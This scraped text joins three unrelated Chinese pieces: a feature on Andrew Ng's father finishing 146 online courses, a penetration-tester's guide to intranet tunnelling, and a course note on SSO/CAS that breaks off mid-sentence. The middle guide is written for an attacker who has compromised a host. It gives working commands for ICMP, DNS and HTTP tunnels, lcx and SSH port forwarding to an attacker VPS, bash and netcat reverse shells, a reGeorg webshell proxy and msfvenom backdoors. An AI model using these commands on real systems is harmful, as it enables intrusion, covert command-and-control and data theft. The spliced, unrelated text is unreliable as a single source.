吴恩达这个名字你一定不陌生，他是当今人工智能和机器学习领域国际最权威的学者之一。作为斯坦福大学计算机科学系和电子工程系的副教授，以及在线教育平台Coursera的联合创始人，他的学生遍布世界各地。但这篇文章的主角并不是吴恩达，而是他的父亲Ronald Paul Ng，这位已经74岁的老爷子刚刚学完了自己儿子创办的在线学习平台上的146门课，花了整整八年时间，其中还包含了吴恩达的深度学习AI课程。吴恩达也连忙发推恭喜，并附上了爷俩的合照。受父亲启发，吴恩达创办在线教育平台Coursera其实，吴恩达创办在线教育平台Coursera也是受父亲启发。故事要从这张截图说起。多年前，吴老送给吴恩达一本他在1980年写的有关机器学习诊断肝脏疾病的论文副本，吴恩达收到后十分感激并备受鼓舞。吴恩达为表示感激还特意发了一则文章，表示自己对这方面的研究十分感兴趣，会把这本论文作为自己珍贵的财富。之后，吴恩达进一步将机器学习与医疗等行业结合起来，并且受此启发，在2012年，吴恩达和Daphne Koller共同创建了这个在线教育平台Coursera。Coursera作为MOOC（大型开放式网络课程）中的领头羊，在创立后三年就拥有了160多名员工，由原耶鲁校长担任CEO，Coursera的使命就是让所有人最便捷的获取世界最优质的教育机会，“Universal Access to the World‘s Best Education”。2012年吴老成为Coursera的第一批学生，一学就是八年2012年，当吴恩达与Daphne Koller共同创建Coursera时，老爷子出于好奇选修了其中的一些课程。他报名参加的第一门Coursera课程名为《模型思维》(Model Thinking)，是密歇根大学(University of Michigan)的一门基于逻辑的在线课程。老爷子也成为了Coursera的第一批学生。起初，他并没有太在意。但慢慢地竟然已经修完了146门课，老爷子也表示，他还在继续学习！至于为什么如此高龄仍要继续学习，老爷子也直言，一切源于热爱。吴老称，“多年来，当我在网上学习课程时，我已经学会了养成一种习惯。我在平板电脑或Evernote上做笔记。我有意识地决定把我的在线课程和作业安排在一周的不同日子。“在老爷子眼中，学习有助于保持思维敏捷，使我们能够欣赏事物的美。他直言，当他上了一门关于爱因斯坦狭义相对论的课程时，对宇宙的奇迹以及它们是如何构成的感到敬畏。因为没有更好的表达，这让吴老感到震惊。“终身学习不只是学习有用的东西，这是保持我们头脑年轻的一种方式。”终身学习的榜样在吴老看来，学习是终身的。吴恩达的父亲在香港的一个中产阶级家庭长大，发现了自己对阅读和音乐的热爱。在他的记忆中，小学的时候一直是班里的最后一名。然后他对拉小提琴和中提琴产生了兴趣，不知怎么的，成绩一跃成为班上的第一名。当吴老还是个学生的时候，被邀请加入了香港爱乐乐团。从那时起，他就更加渴望学习小提琴和中提琴。随着时间的推移，他爱上了提琴，对音乐的欣赏力也增强了。一方面需要学习掌握一种乐器的技巧，另一方面需要融入管弦乐队。这也帮助吴老在课堂上取得优异成绩，有时甚至没怎么学。直到今天，他仍然相信是在演奏音乐时锻炼到了协作能力，从而在他的大脑中打开了“任督二脉”，使他能够理解课堂内外的概念。除了做医生、拉琴，吴恩达的父亲还有过一段真枪实弹的军官经历。1984年，从香港大学毕业后，吴恩达的父亲成为了一名专科医生，38岁到新加坡开始私人执业。然而，在这样做的同时，吴恩达的父亲也志愿成为SAF的一名军医。吴恩达的父亲和其他志愿护士和医生一起参加了军事医学课程，并成为了一名上尉，不久之后又被任命为实际的OC。几次练习之后，还成了少校。在营训期间也是实弹射击训练的高级军官。跨领域学习，给自己和患者带来的意外希望吴恩达的父亲目前在新加坡Icon血液学中心工作，（是的，74岁还在工作！），是一名血液学或血液相关疾病的专家，同时也是新加坡调解中心的主要调解员和州法院的义务法庭调解员。在2012年注册Coursera的时候，吴恩达的父亲只学习他认为有趣的东西，没想到竟然在实际工作中起到了重要作用。有一门法医学的课程，一开始只是出于好奇学习，但觉得没什么用。一天，在吴恩达父亲工作的过程中，一个外国病人来找他验血，怀疑自己汞中毒了。因为这位病人已经离开祖国3个多月了，他的血液测试没有显示任何证据。然而，回想起他在线课程，吴恩达的父亲曾经学习过到测量头发中的汞含量是可能的。当头发刚开始生长时，血液中的汞含量(如果存在的话)就会出现在头发的顶端。于是吴老找到了课程的教授方南洋理工大学的教授交谈。他要了我病人的一缕头发，并且很快发现这个男人的头发尖含有高浓度的汞，这证明了这位病人的怀疑，的确是汞中毒。吴恩达父亲称，这次意外让他相信了解其他学科和拥有跨领域的知识是有好处的。“你永远不会知道他们真正的价值，直到他们击中你。……某一知识领域的专家是指对某件事了解得越来越多，但最终却无所不知的人。“最后，让我们用吴恩达父亲的一段话结尾，我们大多数人都认为学习只是为了“升级自我”和赚更多的钱而学习一项技能，但生活不仅如此。最后，附上吴恩达父亲2012年以来学完的146门课程列表，平均每年18门课，从中也可以一窥一个终身学习者的知识体系。*按课程名称/学科/大学/结业年份和月份/在线课程平台列出，按照日期从早到晚进行排序。模型思维/逻辑/密歇根州/ 2012年12月/ Coursera新中国的新历史1700-2000第一部分/社会科学/科大/ 2013年8月/ Coursera瘟疫，女巫和战争：历史小说世界/文学/弗吉尼亚州/ 2013年12月/ Coursera战争与和平的条件/政治科学/东京/ 2013年12月/ Coursera糖尿病：诊断，治疗和机会/医学/加州大学旧金山分校/ 2013年12月/ Coursera配给和分配稀缺的医疗资源/道德/宾夕法尼亚州/ 2013年7月/ Coursera博弈论/经济学/斯坦福/ 2013年3月/ Coursera非理性思维初学者指南/心理学/杜克大学/ 2013年5月/ Coursera认识自己/哲学/弗吉尼亚州/ 2013年5月/ Coursera中国科学，技术与社会I /社会科学/科大/ 2013年5月/ Coursera社会心理学/心理学/卫斯理/ 2013年10月/ Coursera从宇宙大爆炸到黑暗能量/天文学/东京/ 2013年10月/ Coursera英国普通法：结构和原则/法律/伯贝克学院，伦敦/ 2013年9月/ Coursera关系小说/文学/布朗/ 2013年9月/ Coursera再想一想：如何争论/逻辑/杜克/ 2013年9月/ Coursera哲学概论/哲学/爱丁堡/ 2013年9月/ Coursera临床问题解决/医学/加州大学旧金山分校/ 2013年9月/ Coursera创意问题解决/设计/明尼苏达州/ 2014年4月/ Coursera面对重大问题：现代天文学集锦/天文学/罗切斯特/ 2014年4月/ Coursera分析宇宙/天文学/罗格斯/ 2014年4月/ Coursera预防慢性疼痛：一种人类系统方法/医学/明尼苏达州/ 2014年8月/ Coursera法医学概论/法医学/ NTU / 2014年8月/ Coursera革命思想：法律和政治哲学概论/政治科学/宾夕法尼亚州/ 2014年12月/ Coursera音乐合奏基础知识/音乐/北卡罗来纳州/ 2014年7月/ Coursera发展音乐能力/音乐/伯克利/ 2014年6月/ Coursera国际人权法：前景与挑战/法律/杜克大学/ 2014年6月/ CourseraAstroTech：天文发现背后的科学技术/天文学/爱丁堡/ 2014年6月/ Coursera数据科学家的工具箱/计算机/约翰·霍普金斯/ 2014年6月/ Coursera日常生活道德/心理/耶鲁大学/ 2014年3月/ Coursera视觉感知与大脑/神经科学/杜克大学/ 2014年11月/ Coursera创意，创新与变革/设计/宾夕法尼亚州/ 2014年10月/ Coursera日常编程（Python）/计算机/密歇根州/ 2014年9月/ Coursera生命的出现/古生物学/伊利诺伊州/ 2014年9月/ Coursera天文学：探索时间和空间/天文学/亚利桑那/ 2015年4月/ Coursera成功的谈判：基本策略和技巧/商业/密歇根州/ 2015年4月/ Coursera抗菌素管理/医药/斯坦福大学/ 2015年4月/ Coursera非金融专业人士的金融/商业/ UCI / 2015年4月/ Coursera古典音乐导论/音乐/耶鲁大学/ 2015年4月/ Coursera谈判的艺术/商业/ UCI / 2015年4月/ Coursera21世纪工作场所的交流/商业/ UCI / 2015年4月/ Coursera有效的解决问题和决策的能力/商业/ UCI / 2015年4月/ Coursera逻辑：语言和信息I /逻辑/墨尔本/ 2015年4月/ Coursera宇宙学/天文学/澳大利亚国立大学/ 2015年8月/ edX人气心理学/心理学/北卡罗来纳州/ 2015年8月/ Coursera创造性的问题解决与决策/设计/代尔夫特理工大学/ 2015年8月/ edX狗的情感与认知/心理学/杜克大学/ 2015年8月/ Coursera灵魂信仰：成因与后果第2单元：信仰体系/哲学/罗格斯/ 2015年8月/ Coursera全球资本市场的作用/商业/墨尔本/ 2015年8月/ Coursera经济增长与分配正义/经济学/特拉维夫/ 2015年12月/ Coursera《了解中国》，1700-2000第二部分/政治学/科大/ 2015年12月/ Coursera法律学生工具包/法律/耶鲁大学/ 2015年12月/ Coursera古埃及：六物史/埃及学/曼彻斯特博物馆/ 2015年12月/ Coursera起源–宇宙的形成，太阳系，地球与生命/天文学/哥本哈根/ 2015年2月/ Coursera消费者神经科学和神经营销概论/神经科学/哥本哈根商学院/ 2015年2月/ Coursera哲学与科学/哲学/爱丁堡/ 2015年1月/ Coursera如何改变世界/社会科学/卫斯理/ 2015年1月/ Coursera为年轻读者写作：打开百宝箱/写作/联邦教育基金会/ 2015年7月/ Coursera希腊和罗马神话/文学/宾夕法尼亚州/ 2015年7月/ Coursera恐龙101：恐龙古生物学/古生物学/艾伯塔省/ 2015年6月/ Coursera太阳系科学/天文学/加州理工学院/ 2015年6月/ Coursera从头开始编程/计算机/ Harvey Mudd / 2015年6月/ edX灵魂信仰：原因和后果第1单元：历史基础/哲学/罗格斯/ 2015年6月/ Coursera财务分析语言和工具/商业/墨尔本/ 2015年6月/ Coursera像莫扎特一样写作：NUS古典音乐作品简介/ 2015年3月/音乐课程游戏化/商业/宾夕法尼亚州/ 2015年3月/ Coursera全球挑战中的批判性思维/逻辑/爱丁堡/ 2015年3月/ Coursera天体生物学与寻找地球外生命/天文学/爱丁堡/ 2015年5月/ Coursera人类语言奇迹：语言学导论/语言学/莱顿/ 2015年5月/ Coursera宏观经济学的力量：现实世界中的经济原理/商业/ UCI / 2015年5月/ Coursera佛教与现代心理学/心理学/普林斯顿/ 2015年11月/ Coursera宏观经济学原理/商业/墨尔本/ 2015年11月/ Coursera估值与投资的替代方法/商业/墨尔本/ 2015年10月/ Coursera敬业公民的新闻技能/新闻/墨尔本/ 2015年10月/ Coursera藏传佛教冥想与现代世界：小车辆/哲学/弗吉尼亚/ 2015年9月/ Coursera现代和后现代第一部分/文学/卫斯理/ 2015年9月/ Coursera价值创造的企业财务决策/商业/墨尔本/ 2015年9月/ Coursera使用Python访问Web数据/计算机/密歇根州/ 2016年4月/ Coursera全球变暖一：气候变化的科学与模型/气候学/芝加哥/ 2016年8月/ Coursera犹太教经文/宗教/哈佛大学/ 2016年8月/ edX机器学习/计算机/斯坦福/ 2016年8月/ Coursera昆曲之美/音乐/香港中文大学/ 2016年8月/ Coursera创意写作：风格的手法/写作/卫斯理/ 2016年8月/ Coursera可视化日本I /历史/ MIT / 2016年12月/ edX复杂性简介/复杂性/圣达菲研究所/ 2016年12月/圣达菲研究所可视化战后东京I /社会学/东京大学/ 2016年12月/ edX创意写作顶峰项目/写作/卫斯理/ 2016年12月/ Coursera东方信仰–在理性与传统之间/历史/天主教鲁汶大学/ 2016年12月/ edX伊斯兰教圣经/宗教/哈佛/ 2016年7月/ edX创意写作：背景与描述的技巧/写作/卫斯理/ 2016年7月/ Coursera创意写作：剧情的技巧/写作/卫斯理/ 2016年6月/ Coursera创意写作：人物工艺/写作/卫斯理/ 2016年6月/ Coursera面向所有人的编程（Python入门）/电脑/密歇根州/ 2016年3月/ CourseraPython数据结构/计算机/密歇根州/ 2016年3月/ Coursera从信任到承诺到合同/法律/哈佛/ 2016年3月/ edX宗教素养：传统与经文/宗教/哈佛/ 2016年3月/ edX中国政治第一部分/政治学/科大/ 2016年3月/ Coursera生物学与编程相遇：面向初学者的生物信息学/计算机/圣地亚哥加州大学/ 2016年3月/ Coursera诗歌的艺术/文学/波士顿/ 2016年5月/ edX通过圣经的基督教/宗教/哈佛/ 2016年5月/ edX佛教经文/宗教/哈佛/ 2016年5月/ edX中国政治第二部分/政治学/科大/ 2016年5月/ Coursera古埃及及其文明概论/历史/宾夕法尼亚州/ 2016年11月/ Coursera理解爱因斯坦：相对论的特殊理论/科学/斯坦福/ 2016年11月/ Coursera中世纪的魔法/历史/巴塞罗那/ 2016年10月/ Coursera耶路撒冷的兴衰/历史/特拉维夫/ 2016年10月/ Coursera响应式网站：HTML，CSS和Javascript /计算机/伦敦大学/ 2016年10月/ Coursera病毒式营销和如何制作具有传染性的内容/商业/宾夕法尼亚州/ 2016年9月/ Coursera圣经的史前史，目的和政治未来/宗教/埃默里/ 2016年9月/ Coursera分形和规模/复杂性/圣达菲研究所/ 2017年4月/桑特菲研究所假设检验和置信区间估计的商业应用/商业/莱斯大学/ 2017年4月/ Coursera商业统计线性回归/商业/莱斯大学/ 2017年4月/ Coursera科学与日常生活中的新兴现象/复杂性/加州大学尔湾分校/ 2017年2月/ Coursera谦虚/哲学/爱丁堡/ 2017年1月/ Coursera哲学，科学与宗教：哲学与科学/哲学/爱丁堡/ 2017年1月/ Coursera揭秘正念/心理学/莱顿/ 2017年1月/ Coursera全球外交–现代世界中的外交/社会科学/伦敦大学/ 2017年1月/ Coursera20世纪的电影，图像和历史诠释：相机永不说谎/人文/伦敦大学/ 2017年6月/ Coursera基本数据描述符，统计分布及其在商业决策中的应用/商业/莱斯大学/ 2017年3月/ Coursera量子力学/科学/哈佛/ 2017年5月/ edX使用Excel进行数据分析的简介/计算机/莱斯大学/ 2107年2月/ Coursera系统科学与肥胖症/复杂性/约翰·霍普金斯/ 2017年8月/ Coursera公共卫生中的系统思考/复杂性/约翰·霍普金斯/ 2017年8月/ Coursera正义/哲学/哈佛/ 2017年8月/ edX音乐理论导论/音乐/伯克利/ 2017年9月/ edX哲学，科学与宗教：哲学与宗教/哲学/爱丁堡/ 2017年9月/ Coursera基于代理的建模简介/复杂性/圣达菲/ 2017年9月/圣达菲研究所动力学系统与混沌概论/复杂性/圣达菲/ 2017年10月/圣达菲研究所社会行为的网络动力学/复杂性/宾夕法尼亚大学/ 2017年11月/ Coursera古埃及奇观/埃及学/宾夕法尼亚大学/ 2017年11月/ Coursera音乐如何改变您的生活/音乐/墨尔本大学/ 2017年12月/ Coursera音乐人：和弦图表，重音和弦和小调/音乐/伯克利/ 2017年12月/ Coursera大教堂时代/人文/耶鲁/ 2018年1月/ Coursera儒家哲学探索/人文/南大/ 2018年6月/ Coursera商业，国际关系与政治经济学/经济学，政治学/伦敦政治经济学院/ 2018年8月/伦敦政治经济学院IRB和人类研究伦理学/伦理学/ CITI / 2018年10月/ CITI分析复杂性I /复杂性/麦格理大学/ 2018年12月/ Coursera分析复杂度II（评估问题）/复杂度/麦格理大学/ 2019年2月/ Coursera生命起源/复杂性/圣达菲复杂性探索者/ 2019年9月/圣达菲研究所计算社会科学方法/社会科学/加州大学戴维斯分校/ 2020年7月/ Coursera大数据，人工智能和伦理学/人工智能/戴维斯大学/ 2020年7月/ Coursera网络分析/社会科学/加州大学戴维斯分校/ 2020年8月/ Coursera计算机模拟/计算机/加州大学戴维斯分校/ 2020年8月/ Coursera人际关系，发展和进化的观点/博弈论/科罗拉多大学/ 2020年8月/ Coursera计算社会科学项目/社会科学/加州大学戴维斯分校/ 2020年9月/ Coursera什么是“思维”，什么是人工智能/人工智能/科罗拉多大学/ 2020年9月/ Coursera解决问题的方法/心理学/科罗拉多大学/ 2020年9月/ Coursera相关参考：https://www.msn.com/en-sg/news/singapore/after-his-son-co-founded-coursera-he-became-its-earliest-student-and-completed-146-courses/ar-BB19r5Fhhttps://www.donews.com/idonews/article/5676.shtm

0x00前言进入内网后，需要判断一下这台机器是否可以出网常见的几种判断方式：1.ICMP俗话说得好，没病ping一下。比如ping www.baidu.com，看是否有来自某IP的回复信息2.TCP有nc的话可以试试某个IP端口是否可达  nc -n IP port  （如果是域名形式不要加-n参数，啊当然不加-n也可以接IP的）前提是测试主机上有nc（netcat）3.HTTP用curl工具（一个用url规则的在命令行下工作的文件传输工具，支持文件上传下载），curl支持很多协议和方法，Linux自带，Windows需要下载curl IP:port   还是开了有反应，没开没反应4.DNS用nslookup 与  dig两个DNS探测命令nslookup是Windows自带的命令，Linux也能用dig则是Linux自带的命令两者没有指定vps-ip的话，默认用默认用系统配置的nslookup www.baidu.com vps-ipdig @vps-ip www.baidu.com0x01 隧道网络层隧道1.IPV6隧道简单来说是把IPV4作为隧道载体，在IPV4报文中封装IPV6报文。欺负边界设备不（怎么）关注IPV6的数据安全，而IPV6数据是可以在系统层面传递的这个办法看看就好，实际上有很多限制，双方机器都要支持并使用IPV6，且边界路由有一定的配置，而且即使你设备支持IPV6也可能解析不了这个封装了IPV6报文的IPV4数据包是个什么东西IPV6隧道目的是在IPV4的大海中连接IPV6孤岛，这也是推IPV6的一个过渡策略（或者双栈）相关文章：https://www.freebuf.com/articles/web/202901.htmlhttps://blog.csdn.net/a1766855068/article/details/95046923http://blog.sina.com.cn/s/blog_69c81c3e0102y1l0.html 2.ICMP隧道当使用不了网络上层隧道的话，可以考虑底层的ICMP隧道（1）icmpsh以工具icmpsh为例在攻击者VPS上 之后apt-get install python-impacket　　安一下类库sysctl -w net.ipv4.icmp_echo_ignore_all=1     关闭本地系统ICMP应答cd icmpsh./icmpsh_m.py <attacker's-IP> <target-IP>　　或者进入目录./run.sh运行，输入目标主机的公网IP，开始监听（IP是双方的公网IP）受害者主机上传攻击机上的icmpsh.exe文件，运行相关命令icmpsh.exe -t <attacker's-IP>　　　　　或者输入攻击机上生成的命令都行如果成功会在VPS攻击机上收到受害者的shell（2）PingTunnel跨平台工具，需要自行安装 http://freshmeat.sourceforge.net/projects/ptunnel/                           攻击机　　　防火墙　　　跳板机A　　服务器B公ip1　　　　　　　　　公ip2   内ip3　　内ip4　　攻击者已经获取A的权限，要访问B，但不能直接访问B；A也不能直接访问B，但是A可以ping通B（于是想到利用ICMP隧道）则在A上传PingTunnel，执行 ptunnel -x password 　　　　（password为连接密码，自定义）攻击者在攻击机　　公ip1　　上执行ptunnel -p 公ip2 -lp 1080 -da 内ip4 -dp 3389 -x password　　　　（在访问攻击机本机的1080端口，将服务器B的3389端口数据封装到ICMP隧道中，以跳板机A（公ip2）为跳板传送，即最后结果是在攻击机上访问本地1080端口即可与服务器B的3389端口建立连接）-x: 指定ICMP隧道连接的密码 -lp: 指定攻击者要监听的本地TCP端口-da: 指定要转发的第三方目标机器的IP地址 -dp: 指定要转发的第三方目标的TCP端口 -p: 指定ICMP隧道另一端的机器的IP地址 或者把3389换成别的什么可以利用的端口，例如22，调用ssh连接也行 传输层隧道 3.lcx端口转发lcx是一个基于socket套接字的端口转发工具，Windows版本为 lcx.exe，Linux版本为portmap写过socket的都知道，一个隧道有两端，一端监听一端连接两个版本的下载连接 https://github.com/MrAnonymous-1/lcx把lcx搞到目标机器上在目标机器上执行    lcx.exe -slave <attacker's-IP> <attacker's-Port> 127.0.0.1 3389      比如说把目标机器本地的3389端口转发到攻击者VPS 的某端口上然后在攻击机VPS上运行   lcx.exe -listen <attacker's-Port> <attacker's-Port2>    将本机port端口上监听的数据转到本机port2端口上啊，然后攻击者在攻击机VPS上mstsc访问127.0.0.1:Port2就可以远程访问目标机器了假如3389被防火墙干了，数据过不去怎么办？那就把目标机器的3389端口映射到一个防火墙允许的端口呗目标机器上执行    lcx -tran 53 127.0.0.1 3389    然后上面的命令再来一遍，这次转发53端口到攻击机VPS就好了，53一般不会禁吧 portmap的话　　在目标主机上执行./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <attacker's-IP> -p2 233将本地22端口的流量转发到攻击机VPS的233端口然后在攻击机VPS上监听233端口流量转发到2333端口./portmap -m 2 -p1 233 -h2 127.0.0.1 -p2 2333  在攻击机VPS上 ssh 用户名@127.0.0.1 -p 2333 　　就相当于ssh了目标主机和lcx原理一样的4.netcat下载　　https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download关于nc的使用方法  参考https://www.freebuf.com/sectool/168661.html这篇文章nc可以说的功能很多，比如抓banner、扫端口、聊天、上传接受文件、监听端口......不一一详细解读了，主要整理内网隧道说这些没啥意义很多功能需要双方机器都有nc，那没有nc的机器怎么搞？这涉及到两个概念：正向shell（客户端连服务器）反向shell（服务器连客户端）通常使用反向shell，即服务端攻击机监听nc -lvp port，客户端目标主机去连接服务端常见的bash反向shell，在目标主机上 　　　　　　bash -i >& /dev/tcp/<attacker's IP>/<attacker's listening port> 0>&1或者目标机器支持其他语言，可以用语言写命令执实际上建立内网“隧道”也好“端口转发”也好，当跳板这一块非其所长，但也能用，要不怎么叫瑞士军刀还是借用之前的例子改编一下下攻击机　　　防火墙　　　跳板机A　　服务器B公ip1　　　　　　　　　公ip2   内ip3　　内ip4　　攻击者已经获取A的权限，要访问B，但不能直接访问B；A可以访问B攻击机VPS上 　　nc -lvp 2333跳板机A上　　nc -v 公ip1 2333 -c "nc -v 内ip4 3333"服务器B上　　nc -lvp 3333 -e /bin/bash5.Powercat 顾名思义powershell版nc下载链接　　https://github.com/besimorhino/powercat使用方法就不说了，只说跳板部分跳板机A上　　powercat -l -v -p 8888 -r tcp:内ip4:9999攻击机VPS上　　nc 公ip2 8888 -vv服务器B上　　powercat -l -v -p 9999 -e cmd.exe应用层隧道6.SSH协议类UNIX的基本都支持ssh协议，由于是加密的协议，也很难区分哪些是合法的哪些是不合法的会话，就非常好ssh都是  ssh 用户名@ip -p port　　这么用的创建ssh隧道常用的参数有：     -C：压缩传输，提高传输速度    -f：将ssh传输转入后台执行，不占用当前的shell    -N：静默连接，连接后看不到具体会话    -g：允许远程主机连接本地用于转发的端口    -L：本地端口转发    -R：远程端口转发    -D：动态转发（SOCKS 代理）    -p：指定ssh端口攻击机　　　防火墙　　　跳板机A　　服务器B公ip1　　　　　　　　　公ip2   内ip3　　内ip4　　攻击者已经获取A的权限，要访问B，但不能直接访问B；A可以访问B 在攻击机VPS上执行　　ssh -CfNg -L port(vps端口):内ip4(目标机ip):3389(目标端口) root@公ip2(跳板机) 访问攻击机VPS的port端口，就相当于与目标机器建立了3389连接 攻击机上 　rdesktop 127.0.0.1:port假如攻击机VPS不能访问内网的所有机器，连A也不能访问，那怎么办？那就让B通过A来访问攻击机VPS在跳板机上执行　　ssh -CfNg -R port(vps端口):内ip4(目标机ip):3389(目标端口) root@公ip1(vps)则访问攻击机VPS的port端口，即访问目标机器的3389两个例子两者正好相反，分别是本地转发与远程转发还有一种叫动态转发之前的例子都有目标机器有具体端口，啊如果不知道目标的具体情况呢在攻击机VPS上执行　　ssh -CfNg -D port root@公ip2　　相当于建立了一个动态的SOCKS代理通道在攻击机VPS本地浏览器设置好socks代理　　　　127.0.0.1 port即可通过攻击机VPS的浏览器访问目标内网某 ip7.HTTP/HTTPS协议非常常见的  reGeorgreGeorg-----一款正向代理工具，即把代理脚本扔到跳板机上（当然会被杀软干掉的），然后攻击机VPS去连接跳板机下载链接   https://github.com/sensepost/reGeorg取得跳板机权限了之后，需要把tunnel.什么什么上传到跳板机上（别忘了要扔到web目录里啊），这个什么，取决于跳板机支持什么语言环境（aspx,jsp,php,ashx）php还分了个nosocket版本的，用tunnel.php还需要改php配置文件所以常用tunnel.nosocket.php版以PHP环境为例攻击机　　　防火墙　　　跳板机A　　服务器B公ip1　　　　　　　　　公ip2   内ip3　　内ip4　　还是内网，目标机器B不能通外网，但A、B可互访攻击机VPS上执行　　　　python reGeorgSocksProxy.py -u http://公ip2/tunnel.nosocket.php -p port即访问跳板机A上传过去的tunnnel.nosocket.php文件，并用reGeorgSocksProxy.py监听本地的port端口然后要用到reGeorg的好兄弟proxifier与proxychains了，这俩都是可支持socks5（socks4只支持TCP、socks5支持TCP/UDP、身份验证机制）的客户端，一个windows平台GUI（也可以跨平台），一个Linux平台命令行，考虑到攻击机VPS是kali的话，proxychains+reGeorg用的会比较多下载链接 ：https://www.proxifier.comhttps://github.com/rofl0r/proxychains-nghttp://proxychains.sourceforge.net/具体使用方法参考下面两篇文章不再复述，都需要在攻击机VPS中手动下载安装配置端口或者配置文件啥的，各自配置方式不同https://www.cnblogs.com/7-58/p/12932649.htmlhttps://cloud.tencent.com/developer/article/1674107比如proxychains需要vim /etc/proxychains.conf   ，在最后添加一行，具体配合reGeorg端口：　　socks5 127.0.0.1 port 在攻击机VPS本地使用这俩访问目标机服务器B了，类似这种命令具体看情况：     proxychains rdesktop 内ip4或者干点啥nmap扫描内网都可以 话说如果有meterpreter，run get_local_subnets获取网络接口、run autoroute -p 查看路由、run autoroute -s x.x.x.0/24加个路由，use auxiliary/server/socks4a，set srvport port ,然后按照上面的步骤改proxychains.conf（注意这回用socks4啊，socks4 IP port），也一样能实现将攻击机VPS“贴”到跳板机上（补充一点题外话：警告！！！存在多级网络跳跃的情况的时候，即攻击者通过连主机A再到主机B再到主机C......　　注意选择是正向连接目标还是反向连接目标，例如用tcp协议的话，是set payload windows/meterpreter/bind_tcp还是set payload windows/meterpreter/reverse_tcp目标机器能找到攻击机的话优先选反向reverse，目标机器不能找得到攻击机的话用正向bind生成后门的时候也注意选择正向后门，例如  msfvenom -p linux/x64/meterpreter/bind_tcp ......还是反向后门 例如 msfvenom -p linux/x64/meterpreter/reverse_tcp......）8.DNS协议DNS和ICMP、HTTP\HTTPS一样，属于容易钻空子的协议，一般正常走流量需要这些协议，有隧道的操作空间DNS解析的时候，如果域名本地查不到，是会向其他根域名服务器查询的介绍两个工具 ：dnscat2、iodinednscat2是一个命令行工具，有两个组件，分别是C写的客户端和ruby写的服务端，混血儿客户端安在目标机器中保持运行状态，所以用之前需要编译；服务端需要在一个DNS服务器（VPS）上运行下载链接  https://github.com/iagox86/dnscat2dnscat2有两种运行模式：直连模式（客户端直接向指定的IP的DNS服务器发起DNS请求）和中继模式（DNS经历迭代解析之后再去指向指定的DNS服务器），直连比中继要快的，但是直连容易在目标机器请求日志中暴露（有特征‘dnscat’），况且一旦有DNS请求的白名单限制，就只能用中继，申请域名并把dnscat2的服务端指定为受信任的DNS服务器接下来需要买一台VPS当C&C服务器，买一个可控制的域名，安Linux系统，创建A记录，把自己的域名解析服务器指向VPS服务器，搞几个NS记录，把完整域名的子域名对应的解析也指向域名解析服务器然后安装服务端参考文章：https://blog.csdn.net/localhost01/article/details/86591685服务端需要ruby环境，安好sudo ruby ./dnscat2.rb 域名 -e open -c 连接密码 --no-cache直连的话sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port = 2333,type=TXT --secret=连接密码监听本机2333端口之后在目标主机上安装客户端 C语言写的，使用之前需要先编译，用编译好的exe客户端dnscat2-v0.07-client-win32.exe --dns domain=域名 --secret 连接密码或者服务端直连那种dnscat --dns server=dnscat2服务端ip,port= 2333,type=TXT --secret=连接密码如果目标主机支持powershell2以上版本，可以使用一个叫dnscat2-powershell的脚本详情参考先知社区　　https://xz.aliyun.com/t/2214 之后介绍iodine（碘）碘原子数53即DNS端口号，也是有客户端和服务端程序区分的，也支持直连和中继两种模式原理是通过虚拟网卡在服务端和客户端各建立一个局域网，两者通过DNS隧道连接，处于同一个局域网可以互相通信仍然需要一个可以操控的域名，具体不介绍了9.SOCKS代理socks是一种代理服务，可以说是一个升级版的lcxsocks协议中有交互协议，当访问某个网站的时候，浏览器会把被访问目标的URL和服务端口交给socks服务端进行解析，socks服务端解析后代替浏览器去访问目标网站，将结果返回给浏览器端口转发的话是帮忙访问主机的某个端口，一对一，而socks是不需要知道访问哪个端口，一对多 代表工具：EarthWorm（蚯蚓）下载连接 https://github.com/rootkiter/EarthWormhttps://codeload.github.com/idlefire/ew/zip/master所有讲内网穿透的，都绕不开这个工具，两大功能：socks5服务端和端口转发，用于网络穿透还可以用新版的EW 即Termite    http://rootkiter.com/Termite/ EW六种命令格式：ssocksd　　rcsocks　　rssocks　　lcx_slave　　lcx_listen　　lcx_tran普通环境中正向连接用ssocksd，反弹连接 rcsocks　rssocks，剩下三个用于多层网络级联具体使用请参考 https://www.cnblogs.com/bonelee/p/12511101.html后续还有一些补充，暂时写到这吧-----------------------------------------------------------补充：由于EW早就停更了于是再推荐两款流行的工具：ngrok和 frp比较简洁frp链接：https://github.com/fatedier/frp也是有客户端服务端的，和EW一样需要自购VPS搭建，具体命令请参考其他师傅们的文章ngrok国内链接：http://www.ngrok.cc/　　或者去官网　　https://ngrok.com/用国内的就好很方便，不用自己搭服务器了可以注册账号，花钱买隧道（免费的速度堪忧），傻瓜式操作如果有隐私方面的考虑不建议使用此方法，可以自建服务器用frp或者使用nps

开发者学堂课程【Java面试疑难点串讲5：系统架构及项目设计：SSO处理流程】学习笔记，与课程紧密联系，让用户快速学习知识。课程地址：https://developer.aliyun.com/learning/course/28SSO处理流程阿里云开发者学院 目录：一、SSO的处理流程二、CSA  一、SSO的处理流程●所谓单点登录用在什么场景上：单点登录的上主要是用再集群上的应用场景。●SSO应用场景 ◆阿里云目前支持两种SSO方式：角色SSO和用户SSO。本文为您介绍这两种方式的适用场景和选择依据，帮助您根据整体业务需求选择合适的SSO方式。  ★角色SSO角色SSO适用于以下场景： 出于管理成本考虑，不希望在云端创建和管理用户，从而避免用户同步带来的工作量。在使用SSO的同时，仍然保留一部分云上本地用户，可以在阿里云直接登录。云上本地用户的用途可以是新功能测试、网络或企业IdP出现问题时的备用登录方式等。 根据用户在本地IdP中加入的组或者用户的某个特殊属性，来区分云上拥有的权限。当进行权限调整时，只需要在本地进行分组或属性的更改。 a、拥有多个阿里云账号但使用统一的企业IdP，希望在企业IdP配置一次，就可以实现到多个阿里云账号的SSO。b、各个分支机构存在多个IdP，都需要访问同一个阿里云账号，您需要在一个阿里云账号内配置多个IdP进行SSO。C、除了控制台，也希望使用程序访问的方式来进行SSO。   ★用户SSO用户SSO适用于以下场景： a、希望从阿里云的登录页面开始发起登录，而非直接访问您IdP的登录页面。b、需要使用的云产品中有部分暂时不支持角色访问。C、IdP不支持复杂的自定义属性配置。d、没有上述需要使用角色SSO的业务需求，而又希望尽量简化IdP配置。二、CAS●CAS有一个自己的流程，在其中SSO流程有一个最关键的流程是https（Openssl 证书签发）CAS是Central Authentication Service的缩写，中央认证服务，一种独立开放指令协议。CAS 是 耶鲁大学（Yale 